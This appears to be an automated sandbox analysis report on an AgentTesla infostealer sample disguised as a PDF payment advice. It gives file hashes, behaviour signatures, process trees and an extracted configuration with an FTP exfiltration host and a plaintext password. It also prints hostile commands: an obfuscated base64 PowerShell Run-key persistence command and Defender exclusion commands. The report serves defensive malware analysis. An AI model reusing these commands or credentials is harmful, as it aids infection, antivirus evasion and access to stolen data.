Resubmissions
10/09/2026, 09:39
260910-lmr7ea1ekh1010/09/2026, 09:29
260910-lgc6as1dpa1010/09/2026, 09:20
260910-la9kxs1cqg10Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
10/09/2026, 09:39
Static task
static1
Behavioral task
behavioral1
Sample
Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe
Resource
win11-20260513-en
Behavioral task
behavioral4
Sample
Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe
Resource
win11ltsc2024-20260710-en
General
- Target Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe
- Size 1.0MB
- Sample260910-lmr7ea1ekh
- SHA256 cd779076639126e20c3a7f2db656f376977953493fa33cc1ac232c4631f19810
- MD5 5395d02944c8a772316499b75d62a25e
- SHA1 04f1b1bd076950dbfacb762fcce73588ed4c0556
- SHA512 ca6c8906c68489d38f40c1cc885fefdaad791834daf6d742dd8fdf8ccb489a2fcd7df3b9d1b75b6d3c3502be81afc362f19a8234ea268f11a1012bcd378fcbf2
- SSDEEP 24576:yeqj0qdPW9Ll5JVO8jNHKutn2chSmZEsYBYo:yf09l5F5HK+nNcdr
- TLSH T1543512647758DA17CAA227740A71E2B817BE2EDEB810D3175FD97EEB7479F024C00292
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
agenttesla
-
Protocol
ftp
-
Host
ftp://server356.web-hosting.com
-
Port
21
-
Username
-
Password
nHacaNzaz&,rdS4n
Signatures
- Family: AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4256 powershell.exe 2848 powershell.exe 5020 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4548 ps.exe - Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe Key opened \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\ps = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$vfftvq=[System.Environment]::TickCount;$xyf2b1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$2r2mc5=$env:COMPUTERNAME;$dpvojk=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHBzLmV4ZQ==')));$cioipe=Get-Date;& $xyf2b1 -FilePath $dpvojk\"" Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe - Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 900 set thread context of 3036 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 91 PID 4548 set thread context of 1320 4548 ps.exe 100 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ps.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe - Suspicious behavior: EnumeratesProcesses 17 IoCs
pid Process 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 3036 MSBuild.exe 3036 MSBuild.exe 2848 powershell.exe 2848 powershell.exe 4256 powershell.exe 4256 powershell.exe 4256 powershell.exe 4548 ps.exe 4548 ps.exe 4548 ps.exe 1320 MSBuild.exe 1320 MSBuild.exe 1320 MSBuild.exe 5020 powershell.exe 5020 powershell.exe - Suspicious use of AdjustPrivilegeToken 49 IoCs
description pid Process Token: SeDebugPrivilege 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe Token: SeDebugPrivilege 3036 MSBuild.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeDebugPrivilege 4256 powershell.exe Token: SeIncreaseQuotaPrivilege 2848 powershell.exe Token: SeSecurityPrivilege 2848 powershell.exe Token: SeTakeOwnershipPrivilege 2848 powershell.exe Token: SeLoadDriverPrivilege 2848 powershell.exe Token: SeSystemProfilePrivilege 2848 powershell.exe Token: SeSystemtimePrivilege 2848 powershell.exe Token: SeProfSingleProcessPrivilege 2848 powershell.exe Token: SeIncBasePriorityPrivilege 2848 powershell.exe Token: SeCreatePagefilePrivilege 2848 powershell.exe Token: SeBackupPrivilege 2848 powershell.exe Token: SeRestorePrivilege 2848 powershell.exe Token: SeShutdownPrivilege 2848 powershell.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeSystemEnvironmentPrivilege 2848 powershell.exe Token: SeRemoteShutdownPrivilege 2848 powershell.exe Token: SeUndockPrivilege 2848 powershell.exe Token: SeManageVolumePrivilege 2848 powershell.exe Token: 33 2848 powershell.exe Token: 34 2848 powershell.exe Token: 35 2848 powershell.exe Token: 36 2848 powershell.exe Token: SeDebugPrivilege 4548 ps.exe Token: SeDebugPrivilege 1320 MSBuild.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeIncreaseQuotaPrivilege 5020 powershell.exe Token: SeSecurityPrivilege 5020 powershell.exe Token: SeTakeOwnershipPrivilege 5020 powershell.exe Token: SeLoadDriverPrivilege 5020 powershell.exe Token: SeSystemProfilePrivilege 5020 powershell.exe Token: SeSystemtimePrivilege 5020 powershell.exe Token: SeProfSingleProcessPrivilege 5020 powershell.exe Token: SeIncBasePriorityPrivilege 5020 powershell.exe Token: SeCreatePagefilePrivilege 5020 powershell.exe Token: SeBackupPrivilege 5020 powershell.exe Token: SeRestorePrivilege 5020 powershell.exe Token: SeShutdownPrivilege 5020 powershell.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeSystemEnvironmentPrivilege 5020 powershell.exe Token: SeRemoteShutdownPrivilege 5020 powershell.exe Token: SeUndockPrivilege 5020 powershell.exe Token: SeManageVolumePrivilege 5020 powershell.exe Token: 33 5020 powershell.exe Token: 34 5020 powershell.exe Token: 35 5020 powershell.exe Token: 36 5020 powershell.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 900 wrote to memory of 2848 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 89 PID 900 wrote to memory of 3036 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 91 PID 900 wrote to memory of 3036 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 91 PID 900 wrote to memory of 3036 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 91 PID 900 wrote to memory of 3036 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 91 PID 900 wrote to memory of 3036 900 Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe 91 PID 4256 wrote to memory of 4548 4256 powershell.exe 95 PID 4548 wrote to memory of 5020 4548 ps.exe 98 PID 4548 wrote to memory of 1320 4548 ps.exe 100 PID 4548 wrote to memory of 1320 4548 ps.exe 100 PID 4548 wrote to memory of 1320 4548 ps.exe 100 PID 4548 wrote to memory of 1320 4548 ps.exe 100 PID 4548 wrote to memory of 1320 4548 ps.exe 100 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 MSBuild.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe"C:\Users\Admin\AppData\Local\Temp\Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:900 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Payment_Advice_Ref_A22D4YdWsbE4_Customer_Ref_2310069.pdf.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2848
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3036
-
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$vfftvq=[System.Environment]::TickCount;$xyf2b1=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$2r2mc5=$env:COMPUTERNAME;$dpvojk=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHBzLmV4ZQ==')));$cioipe=Get-Date;& $xyf2b1 -FilePath $dpvojk"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4256 -
C:\Users\Admin\AppData\Roaming\ps.exe"C:\Users\Admin\AppData\Roaming\ps.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ps.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5020
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
PID:1320
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 21KB
- SHA256 71c3e5ba167595321d28df7a8bb93152cdb82156a341d8b3b2fdb1fe5ea9f3f9
- MD5 424b0f4ea6030800f4b5923bdde1078e
- SHA1 728268adf0f1de6dd9b0754853e895e29745e58a
- SHA512 55a85d53cb13fe933c5043e0f2f4bbce99ba577173c9fb629ebb2fe9f2f8959afbee4a7aff695fda4a246adc540033a091577de5fbc4ac9a1d16ee946db64b77
- SSDEEP 384:v1eBaoT1iBGmGW14bNHM6gWJBT+Hebrx2Pn5IAXr4B+dWoVIzKwMvYbhNaPElRty:texZ6GlWi5HM6gW3+WMRIAXrq+tojbhY
- TLSH T1A4A2C678213F6DC7D8D226B410D10AE7FBE4D489DAF611D4AF2BDE2F4C90EB64A60524
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ght5cvuu.m2s.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\ps.exe
- Size 1.0MB
- SHA256 cd779076639126e20c3a7f2db656f376977953493fa33cc1ac232c4631f19810
- MD5 5395d02944c8a772316499b75d62a25e
- SHA1 04f1b1bd076950dbfacb762fcce73588ed4c0556
- SHA512 ca6c8906c68489d38f40c1cc885fefdaad791834daf6d742dd8fdf8ccb489a2fcd7df3b9d1b75b6d3c3502be81afc362f19a8234ea268f11a1012bcd378fcbf2
- SSDEEP 24576:yeqj0qdPW9Ll5JVO8jNHKutn2chSmZEsYBYo:yf09l5F5HK+nNcdr
- TLSH T1543512647758DA17CAA227740A71E2B817BE2EDEB810D3175FD97EEB7479F024C00292
- MD5 SHA1 SHA512 SSDEEP TLSH